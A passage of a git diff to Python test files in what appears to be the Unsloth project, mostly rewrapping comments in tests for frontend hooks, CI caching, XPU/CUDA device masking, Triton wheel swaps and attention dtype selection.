on+ # having no checkpoint: the store keeps one across an idle unload, which changes nothing React can see.src = USAGE_EXAMPLES_TSX.read_text(encoding = "utf-8")hook = src[src.find("function useExampleModelName") : src.find(AFTER_HOOK)]assert "}, [checkpoint, ggufVariant]);" in hookassert "needsCatalog" not in hook- # A finishing download moves no store state, so the fetch retries on a timer too,- # and residency only slows that timer rather than stopping it.+ # A finishing download moves no store state, so the fetch retries on a timer too, and residency only slows that+ # timer rather than stopping it.assert "CATALOG_RETRY_MS" in hook and "CATALOG_IDLE_MS" in hookassert "window.clearTimeout(timeoutId)" in hookassert "const CATALOG_RETRY_MS = 15000;" in src@@ -92,9 +91,8 @@ def test_idle_unload_does_not_guess_the_stashed_checkpoint():def test_a_failed_refresh_does_not_erase_what_the_server_holds():- # Catching into [] and false made a transient error authoritative: the panel dropped- # a still-servable model and printed "No model". The catalog is deliberately- # tri-state, and a failure must stay the unknown state.+ # Catching into [] and false made a transient error authoritative: the panel dropped a still-servable model and+ # printed "No model". The catalog is deliberately tri-state, and a failure must stay the unknown state.src = USAGE_EXAMPLES_TSX.read_text(encoding = "utf-8")hook = src[src.find("function useExampleModelName") : src.find(AFTER_HOOK)]assert "listOpenAIModels().catch(() => null)" in hook@@ -108,9 +106,8 @@ def test_a_failed_refresh_does_not_erase_what_the_server_holds():def test_the_pinned_quant_comes_from_the_catalog():- # Catalog membership proves the repo, not the saved quant: the stored one can name- # a file deleted while another quant remains, so pinning it 404d on a missing quant- # with a runnable one listed.+ # Catalog membership proves the repo, not the saved quant: the stored one can name a file deleted while another+ # quant remains, so pinning it 404d on a missing quant with a runnable one listed.src = USAGE_EXAMPLES_TSX.read_text(encoding = "utf-8")hook = src[src.find("function useExampleModelName") : src.find(AFTER_HOOK)]assert "const quant = catalog === null ? ggufVariant : entry?.quant;" in hook@@ -134,15 +131,14 @@ def test_usage_examples_has_no_duplicate_auto_switch_control():# The monitor moved onto its own page; Settings keeps configuration and links across.API_MONITOR_TSX = REPO / "studio/frontend/src/features/api-monitor/api-monitor-page.tsx"-# Their own module: the overlay mounts from __root.tsx, so importing from the page-# pulled it into the eager bundle.+# Their own module: the overlay mounts from __root.tsx, so importing from the page pulled it into the eager bundle.API_MONITOR_LIFECYCLE_TS = REPO / "studio/frontend/src/features/api-monitor/lifecycle.ts"MONITOR_LINK_TSX = SETTINGS / "components/monitor-link.tsx"def test_api_monitor_history_does_not_reorder_under_the_reader():- # The backend moves an entry to the front as it finishes, so the page pauses the poll- # to hold the whole list still while a payload is read.+ # The backend moves an entry to the front as it finishes, so the page pauses the poll to hold the whole list still+ # while a payload is read.src = API_MONITOR_TSX.read_text(encoding = "utf-8")assert "paused" in srcassert "setPaused" in srcdiff --git a/tests/studio/test_uv_cache_discipline.py b/tests/studio/test_uv_cache_discipline.pyindex 2cd0b581c1a..87a9ac2bad8 100644--- a/tests/studio/test_uv_cache_discipline.py+++ b/tests/studio/test_uv_cache_discipline.py@@ -36,8 +36,8 @@ REPO_ROOT = Path(__file__).resolve().parents[2]ACTION = REPO_ROOT / ".github" / "actions" / "install-unsloth-local" / "action.yml"WORKFLOWS = REPO_ROOT / ".github" / "workflows"-# Named, not detected: a lane whose whole point is a cold machine should have to-# be removed from this list deliberately, in a diff someone reads.+# Named, not detected: a lane whose whole point is a cold machine should have to be removed from this list deliberately,+# in a diff someone reads.COLD_INSTALL_WORKFLOWS = ("clean-machine-install-ci.yml","desktop-app-clean-machine-ci.yml",@@ -87,21 +87,18 @@ def _index_of(predicate) -> int:return -1-# What this action is allowed to cache, and the argument for each. Anything else has-# to be added here in a diff someone reads, with its own argument written down.+# What this action is allowed to cache, and the argument for each. Anything else has to be added here in a diff+# someone reads, with its own argument written down.#-# .uv-cache uv's download cache. Content-addressed by URL and hash, so a-# stale entry cannot serve wrong content; the worst it can do-# is miss.-# studio/frontend/dist the built frontend. NOT a download, so it does not get the-# argument above and needs its own: it is a directory of static-# assets with no absolute paths, no interpreter coupling and no-# console scripts, which is exactly what makes a venv unsafe to-# cache and this safe. Its key hashes the same inputs-# studio/setup.sh checks before rebuilding, so a hit means the-# build inputs are byte-identical rather than merely similar.-# tests/studio/test_frontend_dist_cache.py holds that agreement-# together and is where the reasoning lives.+# .uv-cache uv's download cache. Content-addressed by URL and hash, so a stale entry cannot serve wrong+# content; the worst it can do is miss.+# studio/frontend/dist the built frontend. NOT a download, so it does not get the argument above and needs its own:+# it is a directory of static assets with no absolute paths, no interpreter coupling and no+# console scripts, which is exactly what makes a venv unsafe to cache and this safe. Its key+# hashes the same inputs studio/setup.sh checks before rebuilding, so a hit means the build+# inputs are byte-identical rather than merely similar.+# tests/studio/test_frontend_dist_cache.py holds that agreement together and is where the+# reasoning lives.CACHEABLE_PATHS = (".uv-cache", "studio/frontend/dist")@@ -191,10 +188,9 @@ def test_cold_install_lanes_never_adopt_this_action(name: str) -> None:f"{name} uses install-unsloth-local, which warms uv's cache. A cached "f"cold-install test proves nothing and still goes green.")- # Named separately because the frontend dist cache can now be adopted WITHOUT this- # action -- that is the whole point of splitting it out for the Windows jobs, which- # call install.ps1 from a hand-written step. Checking only for install-unsloth-local- # would let a cold lane paste in the two `uses:` lines and stay green.+ # Named separately because the frontend dist cache can now be adopted WITHOUT this action -- that is the whole+ # point of splitting it out for the Windows jobs, which call install.ps1 from a hand-written step. Checking only+ # for install-unsloth-local would let a cold lane paste in the two `uses:` lines and stay green.assert "frontend-dist-" not in text, (f"{name} restores a prebuilt frontend. A cold-install lane handed a bundle built "f"on another machine last week is not testing a cold install."diff --git a/tests/studio/test_version_compat_bundle.py b/tests/studio/test_version_compat_bundle.pyindex a9d236223cd..28be1622d4d 100644--- a/tests/studio/test_version_compat_bundle.py+++ b/tests/studio/test_version_compat_bundle.py@@ -36,27 +36,17 @@ REPO = Path(__file__).resolve().parents[2]WORKFLOW = REPO / ".github" / "workflows" / "version-compat-ci.yml"SUITE_DIRS = ("tests/version_compat", "tests/vllm_compat")-# The bundled job. Named, not detected: if it is ever renamed, that should be a-# deliberate edit here rather than this whole file quietly asserting nothing.+# The bundled job. Named, not detected: if it is ever renamed, that should be a deliberate edit here rather than this+# whole file quietly asserting nothing.BUNDLE_JOB = "pinned-symbol-matrix"-# Suites with no pull_request home today. This is a RECORDED GAP, not an approval, and-# both entries pre-date the bundling change that added this file -- they were found by-# this test on its first run, which is the point of deriving coverage from the filesystem-# rather than from a list someone maintains.-#-# Neither can join the bundle, because the bundle installs nothing but pytest:-#-# test_import_leaves_torch_globals_alone.py runs `import torch` inside a subprocess-# probe (_PROBE at module scope), so it needs a real torch.-# test_trl_vllm_generation_lora_patch.py needs an installed TRL. It belongs with-# grpo-fake-run, which already installs that stack, but is not in that job's pytest-# list either. It was not added here because it could not be verified to pass in-# that environment first, and wiring an unverified suite into a heavy job would put-# an unrelated red on the change that noticed the gap.-#-# Both are swept by the cron-only `daily-fresh-fetch` job, so they are checked daily-# rather than never. Anything added here needs the same kind of reason written down.+# Suites with no pull_request home today.+# This is a RECORDED GAP, not an approval, and both entries pre-date the bundling change that added this file.+# Neither can join the bundle, because the bundle installs nothing but pytest: test_import_leaves_torch_globals_alone.py+# runs `import torch` inside a subprocess probe (_PROBE at module scope), so it needs a real torch.+# test_trl_vllm_generation_lora_patch.py needs an installed TRL.+# Both are swept by the cron-only `daily-fresh-fetch` job, so they are checked daily rather than never. Anything+# added here needs the same kind of reason written down.CRON_ONLY = {"tests/version_compat/test_import_leaves_torch_globals_alone.py","tests/version_compat/test_trl_vllm_generation_lora_patch.py",diff --git a/tests/studio/test_workflow_guards_run_unfiltered.py b/tests/studio/test_workflow_guards_run_unfiltered.pyindex 8351c9fe3ea..eddda8a93c1 100644--- a/tests/studio/test_workflow_guards_run_unfiltered.py+++ b/tests/studio/test_workflow_guards_run_unfiltered.py@@ -36,8 +36,8 @@ LINT = REPO / ".github" / "workflows" / "workflow-trigger-lint.yml"# Modules that read a workflow file but cannot run in that job, each with the reason.# Shrinking this is the point; growing it needs a reason written here.EXEMPT = {- # Imports PIL, which that job does not install (it installs pyyaml, pytest and vermin- # only, deliberately, so the lint stays seconds rather than minutes).+ # Imports PIL, which that job does not install (it installs pyyaml, pytest, pytest-xdist and vermin only,+ # deliberately, so the lint stays seconds rather than minutes)."test_tauri_branding_contract.py",# Imports a local `utils` helper that resolves only under the full test environment."test_update_release_notes.py",diff --git a/tests/studio/test_xpu_spoof_pipeline.py b/tests/studio/test_xpu_spoof_pipeline.pyindex 75eb4f428c2..3570efa71e7 100644--- a/tests/studio/test_xpu_spoof_pipeline.py+++ b/tests/studio/test_xpu_spoof_pipeline.py@@ -168,9 +168,8 @@ def test_bare_mask_with_cuda_present_stays_cuda(spoof_xpu):def test_force_xpu_on_hybrid_hides_cuda_for_workers(spoof_xpu):- # Forced XPU with CUDA still visible must hide CUDA: unsloth's- # device_type picks CUDA before XPU and ignores UNSLOTH_FORCE_XPU,- # so workers would otherwise silently train on CUDA.+ # Forced XPU with CUDA still visible must hide CUDA: unsloth's device_type picks CUDA before XPU and ignores+ # UNSLOTH_FORCE_XPU, so workers would otherwise silently train on CUDA.hw, _ = spoof_xpu(force_xpu = True, cuda_available = True, cuda_visible = None, ze_mask = None)assert hw.detect_hardware() == hw.DeviceType.XPUimport os@@ -195,21 +194,19 @@ def test_force_xpu_without_working_xpu_leaves_cuda_untouched(spoof_xpu):def test_apply_gpu_ids_predetect_never_probes_torch(spoof_xpu, monkeypatch):- # Workers call apply_gpu_ids() BEFORE detect_hardware(); a lazy detect- # would probe torch.cuda against the unmasked parent env, latching device- # enumeration before the mask is written. Pre-detect it must decide from- # env/build attributes only.+ # Workers call apply_gpu_ids() BEFORE detect_hardware();+ # a lazy detect would probe torch.cuda against the unmasked parent env, latching device enumeration before the mask+ # is written.import torchhw, _ = spoof_xpu(ze_mask = None, cuda_visible = None)- assert hw.DEVICE is None # fresh import, pre-detect+ assert hw.DEVICE is Nonedef _poisoned_detect():raise AssertionError("apply_gpu_ids triggered detect_hardware pre-mask")monkeypatch.setattr(hw, "detect_hardware", _poisoned_detect)monkeypatch.setattr(torch.cuda, "is_available", _poisoned_detect, raising = False)- # CUDA-build torch (torch.version.cuda set on this box or spoofed):monkeypatch.setattr(torch.version, "cuda", "12.8", raising = False)monkeypatch.setattr(torch.version, "xpu", None, raising = False)hw.apply_gpu_ids([1])@@ -220,8 +217,8 @@ def test_apply_gpu_ids_predetect_never_probes_torch(spoof_xpu, monkeypatch):def test_apply_gpu_ids_predetect_xpu_build_writes_ze_mask(spoof_xpu, monkeypatch):- # Pre-detect on an XPU-build torch (version.xpu set, no cuda/hip):- # the mask must go to ZE_AFFINITY_MASK without any runtime probe.+ # Pre-detect on an XPU-build torch (version.xpu set, no cuda/hip): the mask must go to+ # ZE_AFFINITY_MASK without any runtime probe.import torchhw, _ = spoof_xpu(ze_mask = None, cuda_visible = None)@@ -242,9 +239,8 @@ def test_apply_gpu_ids_predetect_xpu_build_writes_ze_mask(spoof_xpu, monkeypatchdef test_apply_gpu_ids_predetect_xpu_compiled_with_null_version(spoof_xpu, monkeypatch):- # version.xpu can be None on a working XPU build; torch.xpu._is_compiled()- # must be accepted as the build signal so the mask still goes to- # ZE_AFFINITY_MASK.+ # version.xpu can be None on a working XPU build;+ # torch.xpu._is_compiled() must be accepted as the build signal so the mask still goes to ZE_AFFINITY_MASK.import torchhw, _ = spoof_xpu(ze_mask = None, cuda_visible = None)@@ -264,9 +260,8 @@ def test_apply_gpu_ids_predetect_xpu_compiled_with_null_version(spoof_xpu, monkedef test_apply_gpu_ids_predetect_force_on_cuda_build_writes_cvd(spoof_xpu, monkeypatch):- # UNSLOTH_FORCE_XPU=1 on a CUDA build (no XPU compiled in): detect falls- # back to CUDA, so the pre-detect mask must go to CUDA_VISIBLE_DEVICES,- # not ZE_AFFINITY_MASK.+ # UNSLOTH_FORCE_XPU=1 on a CUDA build (no XPU compiled in): detect falls back to CUDA, so the pre-detect mask+ # must go to CUDA_VISIBLE_DEVICES, not ZE_AFFINITY_MASK.import torchhw, _ = spoof_xpu(force_xpu = True, ze_mask = None, cuda_visible = None)@@ -301,7 +296,7 @@ def test_apply_gpu_ids_predetect_dual_build_honors_xpu_hint(spoof_xpu, monkeypatimport osassert os.environ["ZE_AFFINITY_MASK"] == "0"- assert os.environ["CUDA_VISIBLE_DEVICES"] == "" # stays hidden+ assert os.environ["CUDA_VISIBLE_DEVICES"] == ""def test_apply_gpu_ids_predetect_dual_build_cuda_active_writes_cvd(spoof_xpu, monkeypatch):@@ -320,7 +315,7 @@ def test_apply_gpu_ids_predetect_dual_build_cuda_active_writes_cvd(spoof_xpu, moimport osassert os.environ["CUDA_VISIBLE_DEVICES"] == "1"- assert os.environ["ZE_AFFINITY_MASK"] == "0,1" # untouched+ assert os.environ["ZE_AFFINITY_MASK"] == "0,1"def test_apply_gpu_ids_trusts_parent_backend_param(spoof_xpu, monkeypatch):@@ -334,8 +329,8 @@ def test_apply_gpu_ids_trusts_parent_backend_param(spoof_xpu, monkeypatch):monkeypatch.setattr(hw, "detect_hardware", lambda: (_ for _ in ()).throw(AssertionError("detect ran")))- # Forced XPU + XPU build, but the parent detected CUDA (xpu had no- # device): backend="cuda" must route to CUDA_VISIBLE_DEVICES.+ # Forced XPU + XPU build, but the parent detected CUDA (xpu had no device): backend="cuda" must route to+ # CUDA_VISIBLE_DEVICES.monkeypatch.setattr(torch.version, "cuda", "12.8", raising = False)monkeypatch.setattr(torch.version, "xpu", "2.7", raising = False)hw.apply_gpu_ids([1], backend = "cuda")@@ -353,9 +348,9 @@ def test_apply_gpu_ids_trusts_parent_backend_param(spoof_xpu, monkeypatch):def test_apply_gpu_ids_predetect_hidden_cuda_without_mask_prefers_xpu(spoof_xpu, monkeypatch):- # Hidden CUDA on an XPU-capable build prefers XPU even with NO ZE mask- # set (detection falls through to XPU in that state); writing the ids to- # CUDA_VISIBLE_DEVICES would re-expose the hidden CUDA.+ # Hidden CUDA on an XPU-capable build prefers XPU even with NO ZE mask set (detection falls+ # through to XPU in that state); writing the ids to CUDA_VISIBLE_DEVICES would re-expose the+ # hidden CUDA.import torchhw, _ = spoof_xpu(ze_mask = None, cuda_visible = "")@@ -369,7 +364,7 @@ def test_apply_gpu_ids_predetect_hidden_cuda_without_mask_prefers_xpu(spoof_xpu,import osassert os.environ["ZE_AFFINITY_MASK"] == "0"- assert os.environ["CUDA_VISIBLE_DEVICES"] == "" # stays hidden+ assert os.environ["CUDA_VISIBLE_DEVICES"] == ""# ---------- visibility / selection ----------@@ -455,8 +450,7 @@ def test_clear_gpu_cache_calls_xpu(spoof_xpu):def test_package_versions_survive_broken_xpu_runtime(spoof_xpu, monkeypatch):- # A broken Intel runtime raising in is_available() must not blank the- # CUDA/ROCm versions on NVIDIA/AMD hosts.+ # A broken Intel runtime raising in is_available() must not blank the CUDA/ROCm versions on NVIDIA/AMD hosts.import torchhw, _ = spoof_xpu(cuda_available = True, cuda_visible = None, ze_mask = None)diff --git a/tests/studio/test_xpu_triton_swap.py b/tests/studio/test_xpu_triton_swap.pyindex f75940995c3..47df5028b2c 100644--- a/tests/studio/test_xpu_triton_swap.py+++ b/tests/studio/test_xpu_triton_swap.py@@ -46,9 +46,8 @@ def _load_real_index_env_scrub():ns: dict = {"os": _os}for anchor, end, keep in (("_UV_INDEX_ENV_VARS = (", "\n)\n", 2),- # _install_env_for_cmd calls both of these, and they resolve from this namespace- # at CALL time, so omitting either only shows up as a NameError once a test- # actually invokes the scrub.+ # _install_env_for_cmd calls both of these, and they resolve from this namespace at CALL time, so omitting+ # either only shows up as a NameError once a test actually invokes the scrub.("_PM_POLICY_ENV_VARS = (", "\n)\n", 2),("def _relaxed_pip_policy_env(", "\n\ndef ", 0),("def _is_pinned_index_cmd(", "\n\ndef ", 0),@@ -90,8 +89,8 @@ def _load(body = src[start:end]assert "_ensure_xpu_triton" in body, "extraction lost the swap"assert "_ensure_venv_pip" in body, "extraction lost the pip bootstrap"- # The WARN assertions need the stub wired to the name the slice actually calls;- # a rename would leave them silently dead.+ # The WARN assertions need the stub wired to the name the slice actually calls; a rename would leave them silently+ # dead.assert "_safe_print(" in body, "extraction lost the print helper the WARN stub hooks"import glob as _glob@@ -101,8 +100,8 @@ def _load(import shutil as _shutilimport tempfile as _tempfile- # A real torch/version.py on disk, so the label read is executed rather than faked. Only the- # LOCATION step is stubbed, since find_spec would resolve this process's own torch.+ # A real torch/version.py on disk, so the label read is executed rather than faked.+ # Only the LOCATION step is stubbed, since find_spec would resolve this process's own torch._pkg = tmp_path / "torch"_pkg.mkdir()(_pkg / "__init__.py").write_text("raise AssertionError('torch must never be imported')\n")@@ -160,8 +159,8 @@ def _load(return Truedef fake_pip_install(label, *args, **kw):- # The real one exits the process via run(), which is what keeps the completion manifest- # unwritten, so the stub raises SystemExit rather than returning.+ # The real one exits the process via run(), which is what keeps the completion manifest unwritten, so the stub+ # raises SystemExit rather than returning.log.append("INSTALL")if not install_ok:raise SystemExit(1)@@ -194,8 +193,8 @@ def _load("pip_install_try": fake_pip_install_try,"pip_install": fake_pip_install,"_red": lambda s: s,- # _safe_print, not print: the slice calls it by name, so stubbing "print"- # would leave _safe_print undefined at exec time.+ # _safe_print, not print: the slice calls it by name, so stubbing "print" would leave _safe_print undefined at+ # exec time."_safe_print": (lambda *a, **k: log.append("WARN") if a and "left in place" in str(a[0]) else None),@@ -225,7 +224,6 @@ class TestXpuTritonSwap:assert log == ["DOWNLOAD", "UNINSTALL", "INSTALL"]def test_bootstraps_pip_when_the_venv_has_none(self, monkeypatch, tmp_path):- # uv venv has no --seed, so a fresh venv cannot run pip download at all.log = _run(monkeypatch, tmp_path, spec = "pytorch-triton-xpu==3.5.0", generic = "3.7.1", has_pip = False)@@ -233,6 +231,7 @@ class TestXpuTritonSwap:assert log[-3:] == ["DOWNLOAD", "UNINSTALL", "INSTALL"]def test_falls_back_to_installing_pip(self, monkeypatch, tmp_path):+ # uv venv has no --seed, so a fresh venv cannot run pip download at all.log = _run(monkeypatch,tmp_path,@@ -241,8 +240,8 @@ class TestXpuTritonSwap:has_pip = False,ensurepip_works = False,)- # ensurepip failed, so it tries a real pip install; that fails too, and the swap must- # warn rather than uninstall with nothing to install from.+ # ensurepip failed, so it tries a real pip install; that fails too, and the swap must warn rather than uninstall+ # with nothing to install from.assert "BOOTSTRAP" in logassert "UNINSTALL" not in log@@ -282,8 +281,8 @@ class TestXpuTritonSwap:class TestFailedSwapIsNotSurvivable:def test_a_failed_uninstall_changes_nothing(self, monkeypatch, tmp_path):- # A read-only or locked venv leaves generic triton registered; installing over it would- # let a later upgrade delete the shared files again and repeat the swap every pass.+ # A read-only or locked venv leaves generic triton registered; installing over it would let+ # a later upgrade delete the shared files again and repeat the swap every pass.log = _run(monkeypatch,tmp_path,@@ -295,8 +294,8 @@ class TestFailedSwapIsNotSurvivable:assert "INSTALL" not in logdef test_a_failed_install_propagates(self, monkeypatch, tmp_path):- # The uninstall already took the shared files, so a warning would commit a venv with a- # broken torch.compile that the next update fast-paths past (nothing left to trigger on).+ # The uninstall already took the shared files, so a warning would commit a venv with a broken torch.compile+ # that the next update fast-paths past (generic triton is gone, so nothing is left to trigger on).with pytest.raises(SystemExit):_run(monkeypatch,@@ -336,8 +335,8 @@ class TestTheInstalledWheelIsThePin:@pytest.mark.parametrize("label", ["2.9.1+cu128", "2.9.1+rocm6.4", "2.9.1", "", None])def test_no_pin_and_no_xpu_wheel_does_nothing(self, monkeypatch, tmp_path, label):- # No pin and no +xpu torch is an ordinary CUDA/ROCm/CPU venv, where generic triton is- # correct and removing it would break torch.compile.+ # No pin and no +xpu torch is an ordinary CUDA/ROCm/CPU venv, where generic triton is correct and removing it+ # would break torch.compile.assert (_run(monkeypatch,@@ -351,8 +350,8 @@ class TestTheInstalledWheelIsThePin:)def test_the_label_is_read_off_disk_not_imported(self, monkeypatch, tmp_path):- # The fake torch/__init__.py raises, so reaching the swap proves the label came from- # version.py. `import torch` loads the SYCL runtime and wedges on a stalled Intel driver.+ # The fake torch/__init__.py raises, so reaching the swap proves the label came from version.py.+ # `import torch` loads the SYCL runtime and wedges on a stalled Intel driver.mod, _ = _load(monkeypatch, tmp_path, spec = "pytorch-triton-xpu==3.5.0", generic = "3.7.1", pinned = False)@@ -402,8 +401,8 @@ class TestTheFetchIgnoresTheUsersIndexEnvironment:assert env["UV_NO_CONFIG"] == "1"def test_unrelated_environment_survives(self, monkeypatch, tmp_path):- # Scrub the index vars, not the environment: HTTPS_PROXY and friends are how a corporate- # host reaches the index at all.+ # Scrub the index vars, not the environment: HTTPS_PROXY and friends are how a corporate host reaches the index+ # at all.monkeypatch.setenv("HTTPS_PROXY", "http://proxy.internal:8080")mod, _ = _load(monkeypatch, tmp_path, spec = "pytorch-triton-xpu==3.5.0", generic = "3.7.1")mod.__dict__["_ensure_xpu_triton"]()@@ -442,15 +441,14 @@ class TestADeadDriverIsNotAFlavourMismatch:assert mod.__dict__["_xpu_wheel_supported_on_disk"]() is supporteddef test_the_disk_check_and_the_probe_agree_on_the_bounds(self):- # Two copies of the range in different places; a drifted floor installs an- # environment that raises at import.+ # Two copies of the range in different places; a drifted floor installs an environment that raises at import.src = STACK.read_text(encoding = "utf-8")assert src.count("(2, 6) <= _n < (2, 11)") == 1, "the probe's range moved"assert src.count("(2, 6) <= nums < (2, 11)") == 1, "the disk check's range moved"def test_a_timeout_on_a_supported_wheel_reinstalls_nothing(self):- # Asserted on the source because _ensure_xpu_torch sits above the extracted slice: the- # early return must come BEFORE the repair reason is set, or the repair runs anyway.+ # Asserted on the source because _ensure_xpu_torch sits above the extracted slice: the early return must come+ # BEFORE the repair reason is set, or the repair runs anyway.src = STACK.read_text(encoding = "utf-8")start = src.index("def _ensure_xpu_torch() -> None:")body = src[start : src.index("def _installed_torch_version_label", start)]@@ -471,8 +469,8 @@ class TestPlatformGuards:assert log == []def test_windows_defers_to_setup_ps1_when_setup_ps1_ran(self, monkeypatch, tmp_path):- # setup.ps1 performs the same swap after this file exits, and publishes the- # handover variable immediately before invoking it.+ # setup.ps1 performs the same swap after this file exits, and publishes the handover variable immediately before+ # invoking it.monkeypatch.setenv("UNSLOTH_EXPECTED_TORCH_TAG", "xpu")mod, log = _load(monkeypatch, tmp_path, spec = "pytorch-triton-xpu==3.5.0", generic = "3.7.1")mod.__dict__["_ensure_xpu_triton"].__globals__["IS_WINDOWS"] = True@@ -480,9 +478,9 @@ class TestPlatformGuards:assert log == []def test_a_direct_windows_run_does_the_swap_itself(self, monkeypatch, tmp_path):- # Bare `python install_python_stack.py` on Windows has no setup.ps1 postlude, so- # the core install leaves triton-windows over torch's XPU triton. The absent- # handover variable is the signal that nobody else will fix it.+ # Bare `python install_python_stack.py` on Windows has no setup.ps1 postlude, so the core install leaves+ # triton-windows over torch's XPU triton. The absent handover variable is the signal that nobody else will fix+ # it.monkeypatch.delenv("UNSLOTH_EXPECTED_TORCH_TAG", raising = False)mod, log = _load(monkeypatch, tmp_path, spec = "pytorch-triton-xpu==3.5.0", generic = "3.7.1")mod.__dict__["_ensure_xpu_triton"].__globals__["IS_WINDOWS"] = True@@ -491,8 +489,6 @@ class TestPlatformGuards:def test_the_swap_is_wired_in_at_every_repair_point():- # The final repair pass would otherwise silently undo the first. The third point is- # step 13w, the Windows flavor invariant.src = STACK.read_text(encoding = "utf-8")assert src.count(" _ensure_xpu_triton()") == 3@@ -525,8 +521,8 @@ def test_the_swap_runs_after_every_torch_migration():assert len(blocks) == 3, f"expected 3 repair blocks, found {len(blocks)}: {blocks}"for calls in blocks:assert calls[-1] == "_ensure_xpu_triton", calls- # Step 13w's migration is _ensure_expected_torch_flavor, which the walk above does- # not collect (its result is branched on, not discarded), so it is asserted on source.+ # Step 13w's migration is _ensure_expected_torch_flavor, which the walk above does not collect (its result is+ # branched on, not discarded), so it is asserted on source.migrating = [c for c in blocks if "_ensure_cuda_torch" in c]assert len(migrating) == 2, blocksfor calls in migrating:@@ -537,6 +533,8 @@ def test_the_swap_runs_after_every_torch_migration():"_ensure_cpu_torch",):assert calls.index(migration) < calls.index("_ensure_xpu_triton"), (migration, calls)+ # The final repair pass would otherwise silently undo the first. The third point is+ # step 13w, the Windows flavor invariant.src = STACK.read_text(encoding = "utf-8")windows = src[src.index("# 13w.") : src.index("# 14.")]assert windows.index("_ensure_expected_torch_flavor") < windows.index(@@ -545,8 +543,8 @@ def test_the_swap_runs_after_every_torch_migration():def test_install_sh_does_not_carry_a_second_copy():- # It used to. install.sh runs setup.sh, which runs this module, so a copy there is redundant- # and a place for the two to drift apart.+ # It used to. install.sh runs setup.sh, which runs this module, so a copy there is redundant and a place for the two+ # to drift apart.assert "replace generic Triton" not in (REPO / "install.sh").read_text(encoding = "utf-8")@@ -569,8 +567,8 @@ class TestCpuRepairSeesAnXpuWheel:src = STACK.read_text(encoding = "utf-8")start = src.index("def _ensure_cpu_torch() -> None:")seg = src[start : src.index("\n\ndef ", start)]- # Read the predicate from the module source, so an edit to it is what this test- # sees rather than a copy that can drift.+ # Read the predicate from the module source, so an edit to it is what this test sees rather than a copy that can+ # drift.marker = "_is_gpu_build = ("begin = seg.index(marker) + len(marker)depth, end = 1, begin@@ -661,8 +659,8 @@ class TestCpuPinSurvivesAWedgedImport:],)def test_gpu_label_classification(self, label, want):- # The CPU/untagged rows matter most: a slow but healthy CPU-only host must not- # force-reinstall torch on every update.+ # The CPU/untagged rows matter most: a slow but healthy CPU-only host must not force-reinstall torch on every+ # update.assert self._fn("_is_gpu_torch_label")(label) is wantdef test_timeout_falls_through_to_the_repair(self):diff --git a/tests/studio/test_zoo_suite_parallel_isolation.py b/tests/studio/test_zoo_suite_parallel_isolation.pyindex d33e8dfa1b8..e2c20ac87f1 100644--- a/tests/studio/test_zoo_suite_parallel_isolation.py+++ b/tests/studio/test_zoo_suite_parallel_isolation.py@@ -32,7 +32,7 @@ ISOLATED = [ZOO_MARKER = "--dist loadfile tests/"-# Deselected because it needs a GPU. It rides whichever command owns its file.+# Deselected because it needs a GPU.MLX_DESELECT = ("tests/test_mlx_finetune_last_n_layers.py::""test_get_peft_model_passes_finetune_last_n_layers_through"diff --git a/tests/test_allow_cpu_import_driverless.py b/tests/test_allow_cpu_import_driverless.pyindex c3202821c4a..97b0eba9f09 100644--- a/tests/test_allow_cpu_import_driverless.py+++ b/tests/test_allow_cpu_import_driverless.py@@ -45,9 +45,8 @@ import torch_ROOT = pathlib.Path(__file__).resolve().parents[1]_UNSLOTH_DIR = _ROOT / "unsloth"-# Both spellings of "you asked a device that is not there what it can do". A-# CUDA-built torch with the devices hidden raises the first out of _lazy_init();-# a CPU-only wheel raises the second from the same place. CI's `Repo tests (CPU)`+# Both spellings of "you asked a device that is not there what it can do". A CUDA-built torch with the devices hidden+# raises the first out of _lazy_init(); a CPU-only wheel raises the second from the same place. CI's `Repo tests (CPU)`# job installs the CPU wheel, so the second shape is the one it would see._NO_DEVICE = ("No CUDA GPUs are available",@@ -69,8 +68,8 @@ def _run(path.append(str(_ROOT))if os.environ.get("PYTHONPATH"):path.append(os.environ["PYTHONPATH"])- # A runner (or a conftest) that exports UNSLOTH_ALLOW_CPU must not decide the- # cases for us: each one says for itself whether the child gets it.+ # A runner (or a conftest) that exports UNSLOTH_ALLOW_CPU must not decide the cases for us: each one says for itself+ # whether the child gets it.clean = {k: v for k, v in os.environ.items() if k != "UNSLOTH_ALLOW_CPU"}return subprocess.run([sys.executable, "-c", textwrap.dedent(code)],@@ -270,9 +269,7 @@ def test_a_driverless_import_does_not_try_to_repair_cuda_linkage(tmp_path):if out.returncode != 0 and _asked_a_missing_device(out.stderr):pytest.skip("the import does not complete here; covered by the cases above")assert out.returncode == 0, out.stderr[-3000:]- # Scoped to the two calls the repair arm makes. Other importers legitimately- # shell out here (bitsandbytes runs `file`, triton runs `uname`), so a bare- # "nothing was executed" assertion would be red for unrelated reasons.+ # Scoped to the two calls the repair arm makes.calls = log.read_text(encoding = "utf-8")assert "ldconfig" not in calls, f"a driverless import ran ldconfig:\n{calls}"assert (diff --git a/tests/test_attn_dtype_custom_datatype.py b/tests/test_attn_dtype_custom_datatype.pyindex 62c8a6526e2..1fe8e03d41a 100644--- a/tests/test_attn_dtype_custom_datatype.py+++ b/tests/test_attn_dtype_custom_datatype.py@@ -101,8 +101,8 @@ def _selected(dtype, do_forced_float32, correct_dtype):# UNSLOTH_FORCE_FLOAT32: loaded bfloat16 despite the name, so flash stays on.(torch.bfloat16, True, None, torch.bfloat16),(torch.float32, True, None, torch.bfloat16),- # UNSLOTH_FORCE_CUSTOM_DTYPE: csm / falcon_h1 / nemotron_h load float32 and cast- # the projections back to correct_dtype, so attention runs in float16.+ # UNSLOTH_FORCE_CUSTOM_DTYPE: csm / falcon_h1 / nemotron_h load float32 and cast the projections back to+ # correct_dtype, so attention runs in float16.(torch.float32, False, torch.float16, torch.float16),],)diff --git a/tests/test_attn_impl_honor_explicit.py b/tests/test_attn_impl_honor_explicit.pyindex 3fb7a2208f0..6b3f3c84d96 100644--- a/tests/test_attn_impl_honor_explicit.py+++ b/tests/test_attn_impl_honor_explicit.py@@ -94,9 +94,6 @@ def test_flash_request_still_falls_back_when_disabled():def test_resolver_honors_explicit_sdpa_when_not_supported_and_flash_disabled():- # End-to-end through the public resolver: an explicit sdpa request with a- # flash-disabled config (oversized head dim) and supports_sdpa=False must not be- # rewritten to eager by the resolver's own not-supports_sdpa guard.config = {"model_type": "test", "head_dim": 512} # head_dim > 256 disables flashresult = resolve_attention_implementation(model_class = None,@@ -159,8 +156,8 @@ def test_resolver_downgrades_explicit_sdpa_for_disable_sdpa_model(model_type):def test_resolver_does_not_overmatch_gemma3n_for_explicit_sdpa():# The "gemma3," 